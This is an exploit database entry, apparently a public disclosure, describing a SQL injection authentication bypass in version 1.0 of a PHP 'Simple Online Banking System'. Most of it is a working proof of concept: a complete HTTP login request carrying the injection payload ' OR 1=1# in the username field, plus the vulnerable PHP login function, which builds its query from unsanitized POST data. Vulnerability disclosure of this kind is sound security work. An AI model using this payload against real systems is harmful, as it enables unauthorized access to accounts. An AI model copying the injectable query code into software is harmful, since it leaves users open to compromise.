Share
## https://sploitus.com/exploit?id=1337DAY-ID-39677
# Exploit Title: Simple Online Banking System - SQLi (Authentication Bypass)
# Exploit Author: bRpsd
# Vendor Homepage: https://www.sourcecodester.com/php/14868/banking-system-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/php/14868/banking-system-using-php-free-source-code.html
# Category: Web Application
# Version: 1.0
# Tested on: MacOS | Xampp






POC:

POST http://localhost/banking/classes/Login.php?f=login
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 36
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/banking/admin/login.php
Cookie: PHPSESSID=1472a7e8f9b230194b2515a42943f687
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username=A' OR 1=1#&password=123

    
Vuln code:/classes/Login.php
Vuln parameter:username
    public function login(){
    extract($_POST);

    $qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
    if($qry->num_rows > 0){
      foreach($qry->fetch_array() as $k => $v){
        if(!is_numeric($k) && $k != 'password'){
          $this->settings->set_userdata($k,$v);
        }

      }
      $this->settings->set_userdata('login_type',1);
    return json_encode(array('status'=>'success'));
    }else{
    return json_encode(array('status'=>'incorrect','last_qry'=>"SELECT * from users where username = '$username' and password = md5('$password') "));
    }
  }